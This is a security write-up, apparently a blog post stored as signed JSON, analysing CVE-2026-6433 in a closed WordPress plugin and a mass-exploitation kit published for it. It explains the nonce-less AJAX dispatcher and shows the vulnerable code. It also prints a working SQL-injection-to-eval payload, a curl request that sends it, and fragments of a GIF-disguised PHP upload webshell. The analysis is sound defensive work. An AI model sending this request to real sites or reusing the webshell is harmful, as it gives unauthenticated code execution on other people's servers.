-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## WordPress.org's closure notice was the disclosure\n\nThe WordPress.org plugin page for `custom-css-js-php` carries one error banner above the description. The banner reads: \"This plugin has been closed as of February 11, 2021 and is not available for download. Reason: Security Issue.\" That is the full text. There is no link to an advisory, no CVE number, no description of the bug, no version range, no remediation guidance, no statement of whether the plugin is exploitable in default configurations. Users running the plugin on the day of the closure received the same notification as everyone else: none. The plugin remained installed on sites whose administrators were not in the habit of checking the WordPress.org listing for plugins they were already running. The automated update mechanism cannot push an update for a plugin that has no later version to push.\n\nThe plugin's authorship is credited to \"Flipper Code, WordPress Development Company.\" The vendor's profile shows four currently-published plugins and a fifth, this one, marked closed. The vendor did not publish a security advisory of their own. Their other plugins continued to ship updates. The closed plugin sat in the field.\n\nFive years and three months later, MITRE published [CVE-2026-6433](https://nvd.nist.gov/vuln/detail/CVE-2026-6433). The CVE description is one sentence: \"The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server.\" NVD marked the record Deferred, which is NVD's term for \"we assigned this number, we are not going to analyze it.\" The Deferred status is operationally consistent: NVD does not enrich CVEs against products that no longer ship patches, because the enriched fields (vulnerable configuration, patched version range) would be empty. The references section of the CVE lists one URL. It is a WPScan database entry. There is no vendor advisory, no patched version, no fix commit. There never will be.\n\nThe defender's first early-warning signal on this bug was the WordPress.org plugin page in February 2021. The defender's first detailed signal was a CVE published in May 2026 with no actionable patch field. This is the [disclosure-after-exploitation](/patterns/disclosure-after-exploitation) pattern run at the long-tail end of the spectrum: the disclosure was a closure event, the closure was an unannotated administrative action, and the CVE that finally arrived was post-hoc documentation against a plugin that had no maintainer left.\n\n## The dispatcher's comment ends in a smiley face\n\nThe vulnerable surface is `wp-admin/admin-ajax.php`, reached through the action `fc_ajax_call`. The handler is registered for both authenticated and unauthenticated callers. From `core/class.plugin-lite.php`, line 218:\n\n```php\nadd_action( 'wp_ajax_fc_ajax_call', array( $this, 'fc_ajax_call' ) );\nadd_action( 'wp_ajax_nopriv_fc_ajax_call', array( $this, 'fc_ajax_call' ) );\n```\n\n`wp_ajax_nopriv_` is the WordPress export for unauthenticated AJAX. The same handler answers logged-in users and visitors with no session. The handler itself, at line 234:\n\n```php\nfunction fc_ajax_call() {\n\n //Check Security(Nonce) @ Operation Method Instead Of Here :)\n $operation = sanitize_text_field( wp_unslash( $_POST['operation'] ) );\n $value = wp_unslash( $_POST );\n if ( isset( $operation ) ) {\n $this->$operation($value);\n }\n exit;\n}\n```\n\nThe comment is testimony. The developer knew where the nonce check would have gone. They chose to put it somewhere else, \"at operation method instead of here,\" and they punctuated the decision with a smiley face. Below the comment, the code reads `$_POST['operation']`, sanitizes the string, and dispatches to whichever class method has that name: `$this->$operation($value)`. Variable-method dispatch on a string the unauthenticated caller controls. The caller picks the method. The method receives `$_POST` as its argument.\n\nTwo AJAX handlers ship in this plugin. The other one, `wcjp_ajax_call`, is defined in `custom-css-js-php.php` at line 285:\n\n```php\nfunction wcjp_ajax_call() {\n\n check_ajax_referer( 'wcjp-call-nonce', 'nonce' );\n $operation = sanitize_text_field( wp_unslash( $_POST['operation'] ) );\n ...\n```\n\n`check_ajax_referer` is the call the comment delegated. It exists in the codebase. The developer wrote it. They wrote it in one handler and not the other. The comment in `fc_ajax_call` is not testimony that the author did not know about nonces. It is testimony that they knew, they wrote the call elsewhere, and in this dispatcher they chose to delegate the check downstream. This is the [todo-that-shipped](/patterns/todo-that-shipped) pattern in its strict canonical form: the named control's only manifestation in this handler is the comment. The code below the comment operates without it.\n\n## The operation method the comment delegated to does not check the nonce either\n\nThe PoC's chosen operation is `wce_editor_inline_code`. The function is defined in `custom-css-js-php.php` at line 197:\n\n```php\npublic function wce_editor_inline_code($atts) {\n global $wpdb;\n\n if ( defined( 'DISABLE_WCE' ) ) {\n return false;\n }\n $id = $atts['id'];\n\n if ( ! $id ) {\n return false; }\n\n $row = $wpdb->get_row( 'SELECT * FROM '.WCJP_TBL_CODES.' WHERE id='. $id.' AND status = 1' );\n```\n\nThere is no `check_ajax_referer` in this function. There is no `current_user_can`. There is no nonce read at all. The function was written as a shortcode renderer, registered at line 61 via `add_shortcode( 'wce_code', array( $this, 'wce_editor_inline_code' ) )`, and was never intended to be reached through `fc_ajax_call`. The dispatcher made it reachable. Variable-method dispatch threw the door open to every public method on the class.\n\n`$id` is whatever the unauthenticated POST sent. The SQL is built by string concatenation. The PoC sends:\n\n```\nid=0 UNION SELECT 1,'t','php',{php_hex},'header','',0,1-- \n```\n\nThe trailing `-- ` (with the required trailing space) is the MySQL line-comment terminator. It severs the original query's `AND status = 1` clause. The UNION provides eight columns matching the eight columns of `WCJP_TBL_CODES`. Column three carries the literal string `'php'`. Column four carries the hex-encoded PHP body of the payload. Column eight carries `1`, satisfying any status constraint that survives the comment terminator.\n\nThe function continues:\n\n```php\n$script_source = trim( $row->data_source );\nob_start();\n\nswitch ( $row->data_type ) {\n ...\n case 'php' :\n eval( \"?>{$script_source}\" );\n break;\n```\n\n`$row->data_type` is `'php'`. The case branches to `eval()`. `$script_source` is the attacker's hex-decoded PHP. The `?>` prefix puts PHP in template-out mode so that anything outside `` tags renders as HTML output and anything inside the tags runs. There are no template constraints. The eval body is the entire PoC payload.\n\nThe full exploit primitive is one HTTP request:\n\n```bash\nPHP_HEX=$(printf '' | xxd -p | tr -d '\\n')\n\ncurl -sk \"https://target.example/wp-admin/admin-ajax.php\" \\\n --data-urlencode \"action=fc_ajax_call\" \\\n --data-urlencode \"operation=wce_editor_inline_code\" \\\n --data-urlencode \"id=0 UNION SELECT 1,'t','php',0x${PHP_HEX},'header','',0,1-- \"\n```\n\nNo nonce. No session. No prerequisite. The dispatcher's comment said the operation method would check the nonce. The operation method does not. The variable-method dispatch handed the attacker an unguarded path from the public internet to `eval()`.\n\n## The exploit landed on Saturday. The webshell landed sixty-five minutes later.\n\nThe full commit log on `murrez/CVE-2026-6433`, in UTC:\n\n| Commit | Time | Action |\n|--------|------|--------|\n| c386d3b | 2026-05-16 09:29:58 | Initial commit |\n| 859ef2d | 2026-05-16 09:30:30 | Update README.md |\n| 2c1477f | 2026-05-16 09:48:02 | Add files via upload |\n| dc6efdc | 2026-05-16 10:53:01 | Create as.txt |\n\nThe exploit script (`CVE-2026-6433.py`) entered the repository at 09:48:02. The fourth commit, sixty-five minutes later, added a file called `as.txt`. The full content of `as.txt` is sixteen lines of PHP wrapped in a magic-byte spoof at the top:\n\n```php\ngif89;a gif;ghz jpg;a\nOK-Click here!\";\n $auth_pass = \"f448c10cdca56b87dbf157d53f627500\";\n $color = \"#ddff55\";\n $default_use_ajax = true;\n $default_charset = 'Windows-1251';\n $default_action='Bruteforce';\n }\n}\necho 'Upload files......';\n```\n\n`as.txt` is an arbitrary-file-upload PHP webshell. The first line is a GIF magic-byte string designed to bypass file-type checks that examine the first few bytes of an upload. The body accepts any file and writes it to a path the caller supplies in `$_REQUEST[\"path\"]`. The block of `$auth_pass`, `$default_use_ajax`, `$default_charset`, `$default_action='Bruteforce'` configuration variables is leftover from a c99 / WSO-family webshell template; the variable names are not used by the upload code in this file but are signature of the kit the operator copied from. The `Windows-1251` charset is Cyrillic; the `Bruteforce` default action is from full webshell UIs that ship brute-forcer modules.\n\nThe exploit script and the webshell are not linked by the script's code. `CVE-2026-6433.py` does not reference `as.txt`. The two files share a repository and a commit timeline. The exploit script's `--php-only` payload writes a benign `rce-proof.txt` to docroot; an operator running this script in production would replace that payload with the contents of `as.txt`, or a chain of three or four further uploads, depending on what they wanted on the box. The exploit primitive is `eval()` of attacker-supplied PHP; what the attacker chooses to eval is up to them. The repository ships one payload as the demo and another as inventory.\n\nThe PoC's bulk mode runs a `ThreadPoolExecutor` with a default of five worker threads and a `--threads` flag that accepts an explicit count. The bulk input is a text file with one base URL per line. The README's example targets file is labeled \"Lab hosts, replace with authorized systems only.\" The `--cleanup-only` flag exists specifically because the operator anticipates wanting to remove evidence of testing from the docroot after the fact. These are not the design choices of a researcher confirming a single finding. These are the design choices of an operator running a list. The README's closing notice \"Legal & ethical use only\" wraps a multi-threaded campaign kit with a webshell sitting next to it in the same git tree. This is the [disclaimer-wrapped campaign kit](/patterns/disclaimer-wrapped-campaign-kit) pattern, and we have [covered this operator before](/posts/midi-synth-empty-api-key-is-the-payload).\n\nThe author's GitHub profile is the rest of the case. The same account has previously published mass scanners against `Burst Statistics` (CVE-2026-8181, one day before this one), WHM/cPanel (CVE-2026-41940, ten days before), the Hustle WordPress plugin (CVE-2026-0911), WordPress midi-Synth (CVE-2026-1306), and CVE-2026-0740. The account also hosts repositories named `joomla-mass-rce`, `Mass-Mirai-IoT-Exploit`, `mirai-zhone-exploit`, `fiber-mirai-exploit`, `NebulaC2`, `priv8-araf-shell`, `ULP-Checker` (cPanel / Plesk / WordPress credential validators against ULP lists, the typical infostealer-log distribution format), and `Debug-Raw-Botnet`. The commit author for every commit on this CVE's repository is named `kerem`. Several of the account's repository descriptions are in Turkish. The pattern is a Turkish-speaking operator publishing one to three weaponizers per week against newly assigned WordPress CVEs, each one with a target-accumulation harness. The CVE feed is the input. The list runner is the harness. The webshell is the staging payload.\n\n## The patch is not coming\n\nThe plugin has no maintainer. The closure on WordPress.org's listing is administrative and final. FlipperCode's other plugins continue to ship updates; this one does not. There is no version 2.0.8 with the nonce check uncommented, the SQL parameterized, and the eval removed. NVD's Deferred status reflects the reality: enrichment is moot when there is no patched configuration to enrich against.\n\nThe number of currently exposed sites is unknown. WordPress.org stopped reporting active-install counts when the plugin was closed. WPScan's reference is the only third-party fingerprint database that has the bug in its entry, and WPScan is a paid subscription. Defenders running the plugin do not have a way to know the bug exists short of subscribing to WPScan, reading a writeup, or finding a webshell in their docroot.\n\nThe structural reason this exists is not the unsanitized SQL string or the smiley-faced comment. The structural reason is that the WordPress plugin ecosystem retires plugins through a one-way administrative gate that severs the patch channel without severing the install. A plugin closed on the listing is still loaded on every site where it was installed before the closure. The site administrator has no notification mechanism. The vendor has no obligation to publish an advisory. WordPress.org has no obligation to name the bug. Five years of exploitation runway, plus a CVE on the back end, plus a mass-exploitation kit when the CVE attracts attention. The eventual exit is incident response.\n\nPoC: [murrez/CVE-2026-6433](https://github.com/murrez/CVE-2026-6433)","closing_line":"WordPress.org's 2021 closure was the disclosure. The 2026 CVE is the timer the operators were waiting for.","hook_md":"WordPress.org closed FlipperCode's Custom CSS, JS & PHP plugin on 11 February 2021. The notice on the plugin page reads, in full: \"This plugin has been closed as of February 11, 2021 and is not available for download. Reason: Security Issue.\" The Security Issue was not named. No CVE was assigned. No advisory was written. Five years and three months later, on 11 May 2026, MITRE published CVE-2026-6433 against every version \"through 2.0.7.\" NVD marked the record Deferred and declined to enrich it. Five days after that, a GitHub account named `murrez` published a multi-threaded mass scanner for the SQLi-to-eval chain in the plugin's `fc_ajax_call` dispatcher. One hour and five minutes after the exploit script landed in the repository, the same account added a second file called `as.txt`. `as.txt` is a PHP arbitrary-file-upload webshell.","post_id":308,"slug":"flippercode-cve-2026-6433-closed-in-2021-cve-in-2026","title":"CVE-2026-6433: WordPress Closed This Plugin in 2021. The CVE Caught Up Five Years Later.","type":"initial","unreadable_sentence":"The comment ends in a smiley face. The method it delegated to does not check the nonce either."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCahH84wAKCRDeZjl4jgkQ JmaDAQD3jqHbfuodTKWm92eepn51x3YQHL0ZvSgFNgQMWzDC5AEA1ldhr8cwfAOR hc1aZVHvQ94Jy78jsKSdVC4cMmPwFA8= =JH60 -----END PGP SIGNATURE-----